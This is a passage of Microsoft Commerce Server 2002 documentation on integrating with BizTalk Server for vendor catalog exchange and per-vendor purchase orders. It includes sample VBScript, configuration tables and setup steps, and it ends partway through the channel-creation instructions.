Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.


Integrating Third-Party Catalogs with Business Desk Catalog Modules

The Commerce Server Business Desk modules for managing a catalog are specific to the Commerce Server Catalog Management System. You can write alternative Business Desk catalog management modules to interface with your existing catalog, either to replace or to supplement the management interface or tools that it already has.

For more information, see Building Business Desk Modules.


Integrating with BizTalk Server

By integrating Microsoft BizTalk Server 2000 or later editions with your Microsoft Commerce Server 2002 installation, you can contract with vendors to receive catalogs of their products, and then fill orders for products that are sold on your site. Although it is not required that both you and your vendors install BizTalk Server, this section explains how to set up BizTalk Server systems for both you and your vendors.

This section provides details regarding areas of integration for existing Commerce Server 2000 sites.

For detailed BizTalk Server deployment instructions and information about integrating BizTalk Server with Commerce Server 2002 sites, see the file <%systemdrive%>\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Retail2002\Retail2002_BizTalk Deployment.doc. This file is also available in the <%systemdrive%>\Inetpub\wwwroot\Retail2002B2B folder after the site has been unpacked.

Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.

This section contains:

  • About BizTalk Server. Describes the components of Commerce Server that work with BizTalk Server and provides an overview of steps for orders and catalog exchange.
  • Product Catalog Integration. Describes how BizTalk Server can be used to import product catalogs from various vendors.
  • Order Form Integration. Describes how an order form can be divided into multiple purchase orders (POs) by vendor, and how BizTalk Server can be used to send those POs to their corresponding vendors.
  • Configuring Commerce Server to Work with BizTalk Server. Explains how to configure Commerce Server to integrate it with BizTalk Server.
  • Setting Up the Source Server. Explains how to set up source and sender organizations for catalog or purchase order exchange.
  • Setting Up the Destination Server. Explains how to configure the destination and receiver organizations on BizTalk Server.
  • Setting Up Your Catalogs for BizTalk Server. Explains how to configure BizTalk Server for catalog exchange.

For additional information about integrating BizTalk Server and Commerce Server, see the Microsoft BizTalk Server documentation and the Commerce Server 2000 Resource Kit.

For programming samples, see "Designing Solutions with BizTalk Server" in the BizTalk Server Software Development Kit (SDK). For example, the SDK includes samples for dividing orders by vendor, transforming orders in Extensible Markup Language (XML), and using a BizTalk Server component to send orders to BizTalk Server.


About BizTalk Server

BizTalk Server provides a gateway for sending business documents between your company and your trading partners (also known as vendors). For example, if your company uses BizTalk Server, you can trade catalogs, orders, documents, and other electronic forms with your trading partners. BizTalk Server manages the data translation, encryption, digital signatures, and document tracking services for many different transport mechanisms.

You can use BizTalk Server and Commerce Server together to process orders that users place on your Commerce Server Web site. For example, assume you are selling computer hardware on your site. Your company manufactures some of this hardware, and some of it is supplied to you by trading partners. Using BizTalk Server, you can create a trading agreement for each trading partner who supplies the hardware that you sell on your site. When a user visits your site and places an order for one of the products supplied by a trading partner, Commerce Server processes the order and sends it to BizTalk Server, and then BizTalk Server sends the order to the trading partner to be filled.

The Solution Sites for Microsoft Commerce Server are designed to integrate with Microsoft BizTalk Server in the following two ways:

  • Import/export of product catalogs
  • Multi-vendor order form processing

BizTalk Server integration is configured by using Commerce Server Manager. These configuration settings are used to conditionally execute code within the Solution Sites that implements the integration with BizTalk Server.

If you are integrating Commerce Server and BizTalk Server for developmental purposes, install Commerce Server and BizTalk Server on the same computer. However, if you are integrating Commerce Server and BizTalk Server for production, it is recommended that you install BizTalk Server on a separate computer. For detailed deployment information about integrating Commerce Server and BizTalk Server, see Commerce Server Solution Sites.

If you are running Commerce Server and BizTalk Server on the same computer, you must run BizTalk Server setup on the Commerce Server computer to install the BizTalk tools. For information about installing the BizTalk Server tools, see BizTalk Server Help.

The Commerce Server 2002 International Retail site package contains a Commerce Server business-to-consumer sample site that can send orders to the included sample business-to-business Web service by using BizTalk Server. For detailed deployment information, see the file <%systemdrive%>\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Retail2002\Retail2002_BizTalk Deployment.doc. This file is also available in the <%systemdrive%>\Inetpub\wwwroot\Retail2002B2B folder after the site has been unpacked.

Catalogs for Multiple Vendors

Vendor ID

Using BizTalk Server to Exchange Catalogs

Sending Orders to BizTalk Server

Processing Received Orders

Catalogs for Multiple Vendors

Before you can use BizTalk Server to transmit orders to your trading partners, you must first organize the catalogs of those trading partners whose products will appear on your site. Each of your trading partners can send you one or more catalogs of their products. Depending on how you set up your site, you can present these catalogs on your Web site as one catalog, or as multiple catalogs. Maintaining multiple catalogs is helpful when, for example, you are targeting several groups of users with different catalog content, such as senior operations management and hobbyists.

Vendors send you their catalogs by using e-mail or BizTalk Server, and then you import the catalog to your Commerce Server Catalogs database by using the Catalog Editor module in Commerce Server Business Desk. For information about importing catalogs, see Importing an XML Catalog File and Importing a CSV Catalog File.

Vendor ID

When you set up an agreement with a vendor, the vendor ID is automatically made available to Commerce Server. The vendor ID is the organization name that you specify for the vendor when you create a destination organization for the source server. For more information, see Creating Source and Destination Organizations on the Source Server.

Commerce Server displays the vendor ID in Business Desk. It displays those trading partners (organizations) that support the same document type as your organization, and thus have compatible document routing. You can then use Business Desk to associate the vendor ID with the catalog.

More than one catalog can be associated with a given vendor. You can also specify a vendor at the product level; however, if you do this you must also customize the _additem.asp page (if you are developing with the Retail Solution Site).

If you name a vendor "Default," Commerce Server recognizes your own site as the vendor. For instructions about adding the vendor ID to a catalog, see Setting Up Your Catalogs for BizTalk Server.

Notes

  • When a user orders an item from your Web site, the item must exist in the catalog of the destination organization. If the destination organization does not have the item in its catalog, BizTalk Server will not be able to process the purchase order on the destination server. It will write an error message to the event log on the destination server.
  • Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.

Using BizTalk Server to Exchange Catalogs

Using BizTalk Server, you can exchange catalogs that are used by Commerce Server with your trading partners. After a catalog is converted to an Extensible Markup Language (XML) document, it is processed by BizTalk Server to save the XML catalog file in a shared folder on the destination computer on which Commerce Server is installed.

After an XML catalog file is saved on the destination computer, you use Business Desk to import the catalog from the shared folder on the destination computer and then publish the catalog to the Web site. You can edit the newly imported catalog, if necessary, by using the Catalog Editor module in Business Desk to make any changes. For information about importing a catalog by using Business Desk, see Importing an XML Catalog File and Importing a CSV Catalog File.

You can set up BizTalk Server to automatically incorporate an incoming catalog to Commerce Server. For information about automating this process by using a BizTalk Server Application Integration Component (AIC), see BizTalk Server Help.

The following figure shows how an XML catalog file is processed.

Sending Orders to BizTalk Server

The following figure shows how Commerce Server processes an order and then sends it to BizTalk Server.

Users perform the following steps to create and process an order:

  1. Users add items to their baskets.

    Commerce Server reads the Commerce Server database and retrieves the vendor name for the products.

  2. Users proceed to checkout, and the Commerce Server Checkout pipeline processes the order.

    For each line item (product) in the order, the Splitter component indicates whether that product is supplied by your company or by a vendor with whom you have a trading agreement. The Splitter component creates a list of the vendors, and attaches it to the order form.

  3. Commerce Server determines whether the BizTalk Options property (in the App Default Config resource) is set to 1.

    If the BizTalk Options property is set to 1, Commerce Server reads the list of vendors and bundles the line items for each vendor.

  4. Commerce Server converts the order form into one or more XML documents to be sent to BizTalk Server.

    When Commerce Server converts the order form (using the XMLTransforms process), it creates one XML document for each vendor.

    To convert the order, Commerce Server uses the schema called POSchema.xml, which is associated with the site. If you add one or more fields to the order form, by default Commerce Server does not include the new fields in the XML document that is sent to BizTalk Server. To add the new fields on the order form, you must edit POSchema.xml, an XDR (XML Data-Reduced) format file, and re-associate the XML file with the document in BizTalk Server. You must also transfer the XML file to BizTalk Server and re-associate it. You can edit POSchema.xml by using BizTalk Editor.

  5. Commerce Server sends the XML documents to BizTalk Server.

Processing Received Orders

You can submit orders to BizTalk Server in several different ways, depending on your needs. You can use mapping to submit orders, you can use a variety of protocols to submit orders, or your trading partner can create a Commerce Server site or a non-Commerce Server site to receive the submitted orders.

If you choose to have your trading partner set up a Commerce Server site to receive orders, you can set up the site by using the _recvpo.asp page that receives XML documents from BizTalk Server. When an XML document is received by _recvpo.asp, the XMLTransforms process is started and converts the XML document back to an order form. Commerce Server then runs a pipeline on the order form. After the pipeline processes the order form, the order is saved to the Commerce Server database. By using _recvpo.asp, you can use Commerce Server objects to redirect the XML to your order management system.

The following figure shows how an XML document is sent from your BizTalk Server installation and processed by the Commerce Server site of the vendor.

You can also set up Commerce Server to process and send order forms to a queue, and then set up either your BizTalk Server (or the BizTalk Server at the vendor installation) to poll the queue. If you use this configuration, you can install BizTalk Server and Commerce Server on separate servers. The following figure shows this configuration.

A figure that shows how you can use BizTalk Server and Message Queuing

See Also

Integrating with BizTalk Server

Programmer's Reference

Splitter


Product Catalog Integration

Product catalog integration is the process of offering products from different vendor catalogs for sale on a Web site. Another scenario that is conceptually similar concerns a company providing access to an office supply catalog on their internal Web site, allowing employees to order their own office supplies. This process needs to be considered from the perspective of the recipient of a vendor catalog as well as from the perspective of the vendor providing the catalog.

Importing Catalogs in the Commerce Server XML Format

Generating Catalogs in the Commerce Server XML Format

Creating Catalog XDR Schema

Importing Catalogs in the Commerce Server XML Format

The process of importing a catalog is normally performed in the Catalog Editor module of Commerce Server Business Desk. For more information about importing a catalog in the proper XML format, see Importing an XML Catalog File. However, a catalog in the proper Extensible Markup Language (XML) format can be imported into the Commerce Server Catalogs database programmatically by using the ImportXML method of the CatalogManager object. For more information about this method, see CatalogManager.ImportXML.

To validate that your catalog XML file conforms to the proper schema:

  1. Edit the second line in your catalog XML file so that it references the catalog XML Data-Reduced (XDR) file provided in the Commerce Server root installation folder. For example:

    <MSCommerceCatalogCollection xmlns="x-schema:C:\Program Files\Microsoft Commerce Server\CatalogXMLSchema.xml">

  2. Open your catalog XML file in Internet Explorer. Internet Explorer will validate that the XML file conforms to the specified schema and show diagnostic errors in the event that it does not conform.

Note

  • These steps only confirm that the catalog XML file conforms to the XDR schema. It does not validate whether the catalog schema, such as product, category, and property definitions, are compatible with any pre-existing catalog schema, or whether products and categories in the catalog XML file are consistent with the catalog schema defined in that XML file. This validation occurs when the file is imported, and any problems found are written to the event log.

If Microsoft BizTalk Server is installed on the same computer as Commerce Server, you can use an Application Integration Component (AIC), as defined by BizTalk Server, to automate the process of importing XML catalogs into Commerce Server as they arrive from vendors through BizTalk Server. For more information about creating an AIC, see the BizTalk Server documentation.

Generating Catalogs in the Commerce Server XML Format

A product catalog must exist in the XML format expected by Commerce Server in order to be successfully imported. If the vendor supplying the catalog is also using Commerce Server as the source of the catalog, as well as using BizTalk Server to deliver the catalog, the process is quite simple. A business manager can select a catalog and send it to a trading partner. For more information about sending a catalog to a trading partner, see Sending a Catalog to a Trading Partner.

If you are a vendor who does not use Commerce Server as the source of your catalog, you can still use BizTalk Server to deliver your product catalog to Commerce Server. You might even be able to take advantage of the Mapper feature in BizTalk Server, using the Looping functoid, to convert your product catalog from its native format to the XML format expected by Commerce Server. For more information about using the Mapper feature and the Looping functoid to convert the catalog to the proper XML format, look for "Commerce Server catalogs" in the BizTalk Server documentation.

If vendors are not using BizTalk Server, they will need to devise a proprietary solution to convert their catalog format to the XML format expected by Commerce Server. For more information about this format, see Catalog XML Structures.

Creating Catalog XDR Schema

You must create a catalog XDR schema to enable catalog exchange between Commerce Server 2002 and BizTalk Server. The file CatalogXMLSchema.xml that is installed with Commerce Server 2002 provides backward compatibility with older installations of Commerce Server.

Use the following sample code to create a catalog XDR schema using a connection string to the catalog database:

     Dim oCatalogManager
     FmtXdr = 2
     Set oCatalogManager = CreateObject("Commerce.CatalogManager")
     Call oCatalogManager.Initialize("connection string to the catalog database", true)
     Call oCatalogManager.ExportXml("path of the xml file", ,true, FmtXdr)

Use the following code to create a catalog XDR schema using a product catalog site name:

     Dim oCatalogManager
     FmtXdr = 2
     Set oCatalogManager = CreateObject("Commerce.CatalogManager")
     Call oCatalogManager.Initialize(sitename, false)
     Call oCatalogManager.ExportXml("path of the xml file", ,true, FmtXdr)

For more information, see Catalog XML Structures.


Order Form Integration

Order form integration is the process of splitting an order form into multiple purchase orders and sending them to the relevant vendors by using Microsoft BizTalk Server. The following aspects of this process need to be considered:

  • Associating a Vendor ID with Each Catalog
  • Configuring Commerce Server for Order Form Integration
  • Overview of Processing


Associating a Vendor with Each Catalog

By associating a vendor ID with each product catalog, the vendor for any given product in an order can be determined by identifying the product catalog associated with the product, and then identifying the vendor associated with that catalog. Being able to determine the vendor associated with each product allows Commerce Server to construct purchase orders on a vendor-by-vendor basis, and deliver those purchase orders to the corresponding vendors by using BizTalk Server.

The process of associating vendors with catalogs is typically done manually, using Commerce Server Business Desk. For more information about assigning a vendor to each catalog, see Setting Up Your Catalogs for BizTalk Server.

Commerce Server also provides a Component Object Model (COM) object designed to allow programmatic assignment of vendors to catalogs. This object also provides methods to, for example, retrieve a list of available vendors, and return vendor information given a particular catalog. For more information about this object, see CatalogToVendorAssociation Object.


Configuring Commerce Server for Order Form Integration

The Commerce Server Solution Sites include conditional code for submitting per-vendor purchase orders to BizTalk Server, allowing these purchase orders to be sent to the relevant vendors. This functionality is built into the Solution Sites, and is configured by using Commerce Server Manager. For more information about how to configure a Commerce Server Solution Site to create purchase orders for each vendor associated with a product in an order form, see Configuring Commerce Server to Work with BizTalk Server. Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.


Overview of Processing

The following Microsoft Visual Basic code shows the processing that occurs in three functions involved in order form integration with BizTalk Server. Note the fact that the first routine calls the second two routines in its innermost loop.

' Always call this routine when processing orders. It will
' return immediately if BizTalk PO integration is not enabled...
Sub InvokeBizTalk(ByVal mscsOrderGrp)
    Dim sOrderName, mscsOrderForm, oVendor, sXML
    Dim sVendorQualID, sVendorQualValue

    ' Do not do anything unless BizTalk PO integration is enabled...
    If dictConfig.i_BizTalkOptions = BIZTALK_PO_XFER_ENABLED Then

        ' Process each order form in the order group...
        For Each sOrderName In mscsOrderGrp.Value.OrderForms
            Set mscsOrderForm = _
                mscsOrderGrp.Value(ORDERFORMS).Value(sOrderName)

            ' Process each vendor known to the order form...
            For Each oVendor In mscsOrderForm.value("_vendors")

                ' Skip the default vendor, which
                ' is the local organization...
                If StrComp(oVendor.vendorID, DEFAULT_ORDERFORM, _
                                             vbTextCompare) <> 0 Then

                    ' Call second function defined here to
                    ' retrieve an XML string containing only
                    ' items associated with the current vendor...
                    sXML = GetXMLForVendorItems(mscsOrderForm, oVendor)

                    ' Get the vendor delivery information from
                    ' the orderform item...
                    sVendorQualID = _
                           mscsOrderForm.items( _
                                oVendor.itemindexes(0)).vendor_qual)
                    sVendorQualValue = _
                           mscsOrderForm.items( _
                                oVendor.itemindexes(0)).vendor_qual_value

                    ' Call third function defined here to submit
                    ' the single vendor PO to BizTalk Server...
                    Call SubmitUsingBizTalk(sXML, oVendor.vendorID, _
                                                     sVendorQualID, _
                                                  sVendorQualValue)
                End If
            Next
        Next
    End If
End Sub

' Returns an XML string containing the PO for the specified vendor...
Function GetXMLForVendorItems(ByVal mscsOrderForm, ByVal oVendor)
    Dim oXMLTransforms, oXMLSchema, oOrderFormXML, oXMLDoc
    Dim oNode, oAttribute
    Dim sFilePath

    ' Create a DictionaryXMLTransforms object...
    Set oXMLTransforms = _
        Server.CreateObject("Commerce.DictionaryXMLTransforms")

    ' Create a PO schema object...
    sFilePath = Server.MapPath("\" & MSCSAppFrameWork.VirtualDirectory) _
                & "\poschema.xml"
    Set oXMLSchema = oXMLTransforms.GetXMLFromFile(sFilePath)

    ' Create an XML version of the order form...
    Set oOrderFormXML = _
      oXMLTransforms.GenerateXMLForDictionaryUsingSchema(mscsOrderForm, _
                                                         oXMLSchema)

    ' Create a copy of the XML version of the order form...
    Set oXMLDoc = Server.CreateObject("MSXML.DOMDOCUMENT")
    oXMLDoc.loadXML oOrderFormXML.xml

    ' For each 'Item' node in the XML order form copy...
    For Each oNode In oXMLDoc.documentElement.childNodes
        If (oNode.nodeName = "Items") Then

            ' If this vendor ID of the 'Item' node is not the
            ' same as the passed vendor ID, discard the node...
            For Each oAttribute In oNode.Attributes
                If (oAttribute.nodeName = "vendorid") Then
                    If Not(oAttribute.nodeValue = oVendor.vendorID) Then
                        oNode.parentNode.removeChild oNode
                    End If
                    Exit For
                Else
                End If
            Next

        End If
    Next

    ' Return an XML string containing the remaining 'Item' nodes,
    ' all of which correspond to the passed vendor...
    GetXMLForVendorItems = oXMLDoc.xml
End Function

' Submit the vendor-specific PO to BizTalk Server...
Function SubmitUsingBizTalk(ByVal sXML, ByVal sVendorName, _
                            ByVal sDestQualID, ByVal sDestQualValue)
    Dim sSubmitType, sDocName
    Dim sSourceQualID, sSourceQualValue
    Dim oDBConfig, oOrg, sID, sName, sDef, oRes
    Dim oInterchange

    ' Retrieve the source BizTalk config values locally...
    sSubmitType = dictConfig.s_BizTalkSubmittypeQueue
    sDocName = dictConfig.s_BizTalkOrderDocType
    sSourceQualID = dictConfig.s_BizTalkSourceQualifierID
    sSourceQualValue = dictConfig.s_BizTalkSourceQualifierValue

    ' Create a BizTalk Interchange object and call its Submit
    ' routine using the passed and gathered parameters...
    Set oInterchange = Server.CreateObject("BizTalk.Interchange")
    oRes = oInterchange.Submit(sSubmitType, _
                               sXML, _
                               sDocName, _
                               sSourceQualID, _
                               sSourceQualValue, _
                               sDestQualID, _
                               sDestQualValue)
End Function


Configuring Commerce Server to Work with BizTalk Server

You use the App Default Config resource to set properties that enable Commerce Server 2002 and BizTalk Server to work together.

To configure Commerce Server to work with BizTalk Server

  1. Click Start, point to Programs, point to Microsoft Commerce Server, and then click Commerce Server Manager.
  2. Expand Commerce Server Manager, expand Commerce Sites, expand the site you want to use with BizTalk Server (for example, Retail), and then expand Site Resources.
  3. In the left pane, right-click App Default Config, and then click Properties.
  4. In the App Default Config Properties dialog box, on the Properties tab, do the following:
    Use this | To do this
    BizTalk Catalog Doc Type | Type the document definition name that is required by BizTalk Server for catalogs (for example, CatalogTransferDoc).
    BizTalk Options | Type 1 to enable integration with BizTalk Server for document exchange; type 0 to disable integration.
    BizTalk PO Doc Type | Type the document definition name that is required by BizTalk Server for purchase orders (for example, PurchaseOrder).
    BizTalk Source Org Qualifier | Type the alias qualifier for this site in BizTalk Server (for example, MyCompany).
    BizTalk Source Org Qualifier Value | Type the alias value for this site in BizTalk Server (for example, Sender).
    BizTalk Submit Type | Type 1 to submit documents to BizTalk Server asynchronously.
  5. If BizTalk Server is not installed on the same computer as Commerce Server, on the Connection Strings tab, click Modify. In the Data Link Properties dialog box, specify the connection string to the BizTalk Server computer.
  6. Click OK.

Note

  • After you change a property value in Commerce Server Manager, you must unload the application from memory on each Web server for the change to take effect. For instructions, see Unloading an Application from Memory.

See Also

Setting Up the Source Server

Setting Up the Destination Server

Setting Up Your Catalogs for BizTalk Server


Setting Up the Source Server

To set up a messaging configuration between two organizations, you must set up the source server and the destination server. For example, your BizTalk Server is the source server, and the vendor BizTalk Server is the destination server.

Perform the steps described in this section to set up purchase order exchange on the source server. For instructions about setting up the destination server, see Setting Up the Destination Server.

This section contains:

  • Example: Configuring the Source Server for Exchanging Catalogs
  • Example: Configuring the Source Server for Exchanging Purchase Orders
  • Copying and Importing Required Files for the Source Server
  • Creating Source and Destination Organizations on the Source Server
  • Creating Document Definitions on the Source Server
  • Creating Envelopes on the Source Server
  • Creating a Messaging Port on the Source Server
  • Creating a Channel on the Source Server


Example: Configuring the Source Server for Exchanging Catalogs

The following tables list sample values for the App Default Config and BizTalk Server properties needed to configure a source server for catalog exchange.

Sample Values for App Default Config Properties

Set this | To
BizTalk Catalog Doc Type | CatalogTransferDoc
BizTalk Options | 1
BizTalk Source Org Qualifier | MyCompanyCatalog
BizTalk Source Org Qualifier Value | CatalogSender
BizTalk Submit Type | 1

Sample Values for Source Organization Properties

Set this | To
Organization Name | Home Organization
Customer Name | MyCompanyCatalog
Qualifier | MyCompanyCatalog
Value | CatalogSender
Application Name | CatalogApplication

Sample Values for Destination Organization Properties

Set this | To
Organization Name | CatalogDestination
Customer Name | MyCompanyCatalog
Qualifier | MyCompanyCatalog
Value | CatalogReceiver

Sample Values for Document Properties

Set this | To
Document Name | CatalogTransferDoc
Document Specification | Type the location of your catalog schema: CatalogXMLSchema.xml. For information about creating catalog XDR schema, see Creating Catalog XDR Schema.

Sample Values for Assigning a Messaging Port to an Organization

Set this | To
Messaging Port Name | CatalogPortToDestination
File Address | Drive: <destination server name>\<shared folder>\CatalogSend.xml Use a valid destination server as <destination server name>. Use a valid shared folder on the destination computer as <shared folder>.

Sample Values for Assigning a Channel from an Application

Set this | To
Name | CatalogChannelToSource
Source Application Name | CatalogApplication
Organization Identifier | BizTalkCatalog/CatalogSender (Default)
Inbound Document | CatalogTransferDoc
Outbound Document | CatalogTransferDoc
Advanced Properties | Click Advanced, and then click Properties. In the Advanced Properties dialog box, set the fully qualified user and password, and then select the type of action to overwrite.

See Also

Configuring Commerce Server to Work with BizTalk Server

Setting Up the Source Server

Setting Up the Destination Server

Setting Up Your Catalogs for BizTalk Server


Example: Configuring the Source Server for Exchanging Purchase Orders

The following tables list examples of the values you enter in App Default Config and BizTalk Server to configure a source server for purchase order exchange.

Sample Values for App Default Config Properties

Set this | To
BizTalk Options | 1
BizTalkPO Doc Type | PurchaseOrder
BizTalk Source Org Qualifier | MyCompany
BizTalk Source Org Qualifier Value | Sender
BizTalk Submit type | 1

Sample Values for Source Organization Properties

Set this | To
Organization Name | Home Organization
Customer Name | MyCompany
Qualifier | MyCompany
Value | Sender
Application Name | POApplication

Sample Values for Destination Organization Properties

Set this | To
Organization Name | Destination
Customer Name | MyCompany
Qualifier | MyCompany
Value | Receiver

Sample Values for Document Properties

Set this | To
Document Name | PurchaseOrder
Document Specification | .../Microsoft/POSchema.xml

Sample Values for Envelope Properties

Set this | To
Envelope Name | POEnvelope

Sample Values for Messaging Port to an Organization

Set this | To
Messaging Port Name | OutPortToDestination
HTTP Address | http://<destination server name>/Retail/ReceiveStandard.asp Use a valid destination server as <destination server name>.
Envelope | POEnvelope
Envelope Identifier | MyCompany / Receiver (Default)

Sample Values for Channel from an Application

Set this | To
Name | OutChannelToDestination
Source Application Name | POApplication
Organization Identifier | BizTalk/Sender (Default)
Inbound Document | PurchaseOrder
Outbound Document | PurchaseOrder

See Also

Configuring Commerce Server to Work with BizTalk Server

Setting Up the Source Server

Setting Up the Destination Server

Example: Configuring the Source Server for Exchanging Catalogs

Example: Configuring the Destination Server for Purchase Orders

Setting Up Your Catalogs for BizTalk Server


Copying and Importing Required Files for the Source Server

Both the source and destination servers must contain the same POSchema.xml and CatalogXMLSchema.xml files.

Note

  • The source and destination servers must have the same catalogs of products; otherwise the purchase order submission will fail. For information about setting up your catalogs, see Setting Up Your Catalogs for BizTalk Server.

To copy POSchema.xml to the source server

To import CatalogXMLSchema.xml into BizTalk Editor

To copy POSchema.xml to the source server

  • Copy the POSchema.xml file located in <drive:>\inetpub\wwwroot\<site name> to the path <drive:>\Program Files\Microsoft BizTalk Server\BizTalkServerRepository\DocSpecs\Microsoft.

To import CatalogXMLSchema.xml into BizTalk Editor

  1. Open BizTalk Editor. Click Start, point to Programs, point to Microsoft BizTalk Server, and then click BizTalk Editor.
  2. In BizTalk Editor, on the Tools menu, click Import.
  3. Select XDR Schema, and then click OK.
  4. In the Import XDR Schema dialog box, in the Look in box, navigate to <drive>:\Program Files\Microsoft Commerce Server 2002, select CatalogXMLSchema.xml, and then click Open.
  5. On the File menu, click Store to WebDAV.
  6. In the Store to WebDAV dialog box, in the File name box, type CatalogXMLSchema.xml, and then click Save.
  7. Close BizTalk Editor.

The CatalogXMLSchema.xml file is imported into BizTalk Editor and stored in Web Distributed Authoring and Versioning (WebDAV). The file is now a specification that has the appropriate header information and specified structure so it can be used for catalog exchange.

See Also

Copying Required Files for the Destination Server

Setting Up Your Catalogs for BizTalk Server


Creating Source and Destination Organizations on the Source Server

The source BizTalk Server is the supplier. An organization can be the source or the destination in a messaging port, distribution list, or channel. An organization can represent an external trading partner, your own company, or a business unit within a trading partner or your company. Each organization has unique identifiers that identify it to BizTalk Server and to other trading partner organizations.

On the source server, you must create both a source organization and a destination organization. A source organization is a trading partner organization that has been designated in a channel as the source of documents. A destination organization is a trading partner organization designated in a messaging port as the destination for documents.

To create a source organization on the source server

To create a destination organization on the source server

To create a source organization on the source server

  1. On the source BizTalk Server, click Start, point to Programs, point to Microsoft BizTalk Server, and then click BizTalk Messaging Manager.
  2. In BizTalk Messaging Manager, in the Configuration Options dialog box, select the Don't show this dialog box again check box, and then click OK. Click Cancel to close the dialog box.
  3. In BizTalk Messaging Manager, in the left pane, in the Search for other items area, click Organizations, and then click Search Now to display the list of available organizations.
  4. In the list of available organizations, double-click Home Organization.
  5. In the Organization Properties dialog box, on the Identifiers tab, click Add.
  6. In the New Identifier dialog box, verify the Custom option is selected, and then type MyCompany.
  7. In the Qualifier box, type MyCompany.
  8. In the Value box, type the name of the sender (for example, Sender).

    The Value must be the same as the value entered in the Commerce Server App Default Config Properties dialog box, in the BizTalk Source Org Qualifier Value box. If the values are different, the purchase order submission fails and no error message appears.

    For information about setting App Default Config properties, see Configuring Commerce Server to Work with BizTalk Server.

  9. Select the Set as default check box to specify the sender (for example, Sender) as the default organization, and then click OK.

    You must designate a default organization before you can create a messaging port. The default organization can serve as either the source or the destination for each new messaging port. You can designate a different default organization at any time and then create messaging ports that use the new default organization.

  10. On the Applications tab, click Add, and in the New Application dialog box, type the application name (for example, POApplication for purchase orders and CatalogTransferDoc for catalog transfers), and then click OK.
  11. In the New Application dialog box, click OK.
  12. In the Organization Properties dialog box, click OK.

The source organization and sender on the source BizTalk Server are created. For example, the source organization is "Home Organization" and the sender is "Sender." You have specified the sender as the default organization.

To create a destination organization on the source server

  1. In BizTalk Messaging Manager, on the File menu, point to New, and then click Organization.
  2. In the New Organization dialog box, on the General tab, type the name of the destination organization (for example, DestinationOrg).

    The name that you type here is the name that is displayed on Commerce Server Business Desk when you associate a vendor with a catalog. The name appears in a list of available vendors from which you can select the vendor you want.

  3. In the Comments box, type any necessary comments about the destination organization.
  4. On the Identifiers tab, click Add.
  5. In the New Identifier dialog box, verify the Custom option is selected, and then type MyCompany.
  6. In the Qualifier box, type MyCompany.
  7. In the Value box, type the name of the receiver (for example, Receiver), and then click OK.
  8. In the New Organization dialog box, click OK.

The destination organization and receiver on the source BizTalk Server are created. For example, "DestinationOrg" is the destination organization and "Receiver" is the receiver.

See Also

Configuring Commerce Server to Work with BizTalk Server

Creating Document Definitions on the Source Server


Creating Document Definitions on the Source Server

A document definition represents a business document in a messaging port, channel, or distribution list. A document definition provides a pointer to a specification that defines the document. A document definition can be associated with any number of messaging ports, channels, and distribution lists.

To create a document definition with an associated XML file

  1. On the source BizTalk Server, click Start, point to Programs, point to Microsoft BizTalk Server, and then click BizTalk Messaging Manager.
  2. In BizTalk Messaging Manager, on the File menu, point to New, and then click Document Definition.
  3. In the New Document Definition dialog box, in the Document definition name box, type a name for the document definition (for example, PurchaseOrder or CatalogTransferDoc).

    The Document definition name must be the same as the value entered in the Commerce Server App Default Config Properties dialog box, in the BizTalk PO Doc Type box. If the values are different, the purchase order submission fails.

    For information about setting App Default Config properties, see Configuring Commerce Server to Work with BizTalk Server.

  4. Select the Document specification check box, and then click Browse.
  5. In the Select a Document Specification from the WebDAV Repository dialog box, double-click the Microsoft folder.
  6. Select the .xml file (for example, POSchema.xml), and then click Open.
  7. In the New Document Definition dialog box, click OK.

The purchase order is created with an associated custom Extensible Markup Language (XML) file.

See Also

Configuring Commerce Server to Work with BizTalk Server

Creating Envelopes on the Source Server


Creating Envelopes on the Source Server

An envelope contains a header and sometimes a footer that prefixes or encapsulates electronic business data for transporting the data to a destination organization. BizTalk Server uses the envelope properties specified in a messaging port to determine the envelope format that is used to prepare documents for transport.

To create an envelope for the source server

  1. On the source BizTalk Server, click Start, point to Programs, point to Microsoft BizTalk Server, and then click BizTalk Messaging Manager.
  2. In BizTalk Messaging Manager, on the File menu, point to New, and then click Envelope.
  3. In the New Envelope dialog box, in the Envelope name box, type the name of the envelope (for example, POEnvelope), and then click OK.

If you do not assign a custom Extensible Markup Language (XML) file to the envelope you just created, then the default XML file is assigned to the envelope.

See Also

Configuring Commerce Server to Work with BizTalk Server

Creating a Messaging Port on the Source Server


Creating a Messaging Port on the Source Server

A messaging port is a set of rules that you use BizTalk Messaging Manager to configure, with which you can direct how documents are enveloped, secured, and transported to a designated destination organization. The documents that a messaging port transports originate from the source that is specified in an associated channel. A channel is a set of properties that you can use to provide BizTalk Server with the rules for processing a document that it receives.

In a messaging port, you designate a destination organization or destination application for the documents.

To create a messaging port on the source server

  1. On the source BizTalk Server, click Start, point to Programs, point to Microsoft BizTalk Server, and then click BizTalk Messaging Manager.
  2. In BizTalk Messaging Manager, on the File menu, point to New, point to Messaging Port, and then click To an Organization.
  3. In the New Messaging Port Wizard, in the General Information screen, in the Name box, type the name of the port (for example, OutPortToDestination), and then click Next.
  4. In the Destination Organization screen, select the Organization option, and then click Browse to the right of the Name box.
  5. In the Select an Organization dialog box, select a destination organization (for example, DestinationOrg), and then click OK.
  6. Click Browse to the right of the Address box.
  7. In the Primary Transport dialog box, in the Transport type box, select HTTP from the drop-down list.
  8. In the Address box, type http://<destination server name>/<site name>/ReceiveStandard.asp, and then click OK.

    This is the URL for the vendor to which you are sending purchase orders.

  9. Click Next.
  10. In the Envelope Information screen, in the Envelope information box, select POEnvelope from the drop-down list, and then click Next.
  11. In the Security Information screen, verify the Create a channel for this messaging port check box is selected.
  12. In the Channel type box, select From an application from the drop-down list, and then click Finish.
  13. In the General Information screen, click Cancel.

The messaging port between your source organization and the destination organization is created.

See Also

Creating a Channel on the Source Server


Creating a Channel on the Source Server

A channel is a set of properties that you use to provide BizTalk Server with the rules for processing a document that it receives. After a channel processes a document, the document is passed to its associated messaging port or distribution list to be transported to the specified destination. You can create one or more channels for a messaging port or distribution list.

To create a channel on the source server

  1. On the source BizTalk Server, click Start, point to Programs, point to Microsoft BizTalk Server, and then click BizTalk Messaging Manager.
